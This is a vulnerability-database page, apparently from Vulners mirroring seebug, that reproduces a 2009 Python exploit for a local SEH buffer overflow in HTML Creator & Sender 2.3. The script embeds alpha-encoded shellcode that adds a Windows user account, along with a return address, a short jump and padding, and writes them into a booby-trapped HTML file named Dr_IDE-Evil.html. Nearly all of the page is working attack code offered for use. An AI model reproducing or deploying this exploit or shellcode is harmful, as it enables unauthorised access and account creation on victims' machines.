Lucene search
K

HTML Creator & Sender <= 2.3 build 697 Local BOF Exploit (SEH)

🗓️ 30 Aug 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

HTML Creator & Sender <= 2.3 build 697 Local BOF Exploit (SEH) by Dr_ID

Code

                                                #!/usr/bin/env python

#############################################################################
#
# HTML Creator &amp; Sender &lt;= v2.3 Build 697 Local Buffer Overflow Exploit (SEH)
# Coded By:     Dr_IDE
# Based On:     http://www.milw0rm.com/exploits/9446
# Testd On:	Windows XP SP2
# Download:     http://www.html-email.net/
# Usage:        Browse to file, enter anything for From and To, Send Email.
#
#############################################################################

import struct

# windows/adduser USER=Dr_IDE PASS=Dr_IDE
# x86/alpha_upper succeeded with size 475 (iteration=1)
# badchars = &quot;\x00\x0a\x0d\x20\xff&quot; at least, Bind Shell was
# not working for me, there are still some unidentified bad chars.

sc = (
&quot;\x89\xe1\xdb\xdf\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x43\x43&quot;
&quot;\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41&quot;
&quot;\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42&quot;
&quot;\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50&quot;
&quot;\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x51\x54\x43\x30\x43&quot;
&quot;\x30\x43\x30\x4c\x4b\x51\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55&quot;
&quot;\x42\x58\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b\x51&quot;
&quot;\x4f\x51\x30\x45\x51\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b&quot;
&quot;\x45\x51\x4a\x4e\x46\x51\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49&quot;
&quot;\x50\x42\x54\x44\x47\x49\x51\x49\x5a\x44\x4d\x45\x51\x49\x52&quot;
&quot;\x4a\x4b\x4a\x54\x47\x4b\x50\x54\x46\x44\x44\x44\x44\x35\x4d&quot;
&quot;\x35\x4c\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x43\x56\x4c\x4b&quot;
&quot;\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c&quot;
&quot;\x4b\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4b\x39\x51\x4c\x51\x34&quot;
&quot;\x44\x44\x49\x53\x51\x4f\x46\x51\x4c\x36\x43\x50\x51\x46\x42&quot;
&quot;\x44\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b&quot;
&quot;\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x45\x58\x4c\x49\x4a&quot;
&quot;\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58\x4a\x50\x4d\x5a&quot;
&quot;\x43\x34\x51\x4f\x45\x38\x4d\x48\x4b\x4e\x4c\x4a\x44\x4e\x51&quot;
&quot;\x47\x4b\x4f\x4d\x37\x42\x43\x42\x4d\x43\x54\x46\x4e\x42\x45&quot;
&quot;\x43\x48\x43\x55\x47\x50\x46\x4f\x43\x53\x47\x50\x42\x4e\x43&quot;
&quot;\x55\x44\x34\x47\x50\x43\x45\x42\x53\x43\x55\x44\x32\x47\x50&quot;
&quot;\x50\x44\x42\x52\x51\x4f\x50\x49\x50\x44\x47\x35\x47\x50\x51&quot;
&quot;\x54\x44\x32\x51\x4f\x51\x59\x51\x54\x47\x35\x51\x30\x46\x4f&quot;
&quot;\x47\x31\x47\x34\x51\x54\x47\x50\x46\x46\x51\x36\x51\x30\x42&quot;
&quot;\x4e\x45\x35\x43\x44\x47\x50\x42\x4c\x42\x4f\x45\x33\x45\x31&quot;
&quot;\x42\x4c\x45\x37\x44\x32\x42\x4f\x43\x45\x44\x30\x51\x30\x51&quot;
&quot;\x51\x43\x54\x42\x4d\x43\x59\x42\x4e\x45\x39\x44\x33\x43\x44&quot;
&quot;\x43\x42\x45\x31\x43\x44\x42\x4f\x42\x52\x44\x33\x47\x50\x50&quot;
&quot;\x44\x44\x32\x51\x4f\x47\x39\x47\x34\x47\x35\x47\x50\x46\x4f&quot;
&quot;\x47\x31\x50\x44\x47\x34\x43\x30\x45\x5a\x41\x41&quot;)

jump = (&quot;\xEB\x06\x90\x90&quot;)
junk = (&quot;\x43&quot; * (4616 - len(sc)))
retn = (&quot;\xFA\x89\xAB\x71&quot;) #WS2_32.DLL XPSP2
nops = (&quot;\x90&quot; * 8)

# Don't mess with the headers, we need to create a valid HTML file
header1 =  (&quot;&lt;HTML&gt;\n&lt;HEAD&gt;\n&lt;/HEAD&gt;\n&lt;BODY&gt;\n&lt;img src = \&quot;&quot;)
payload =  (&quot;\x41&quot; * 56 + jump + retn + nops + sc + junk)
header2 =  (&quot;\&quot;&gt;\n&lt;/BODY&gt;\n&lt;/HTML&gt;\n&quot;)

try:
    f1 = open(&quot;Dr_IDE-Evil.html&quot;,&quot;w&quot;)
    f1.write(header1 + payload + header2)
    f1.close()
    print(&quot;\nExploit file created!\n&quot;)
except:
    print (&quot;Error&quot;)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation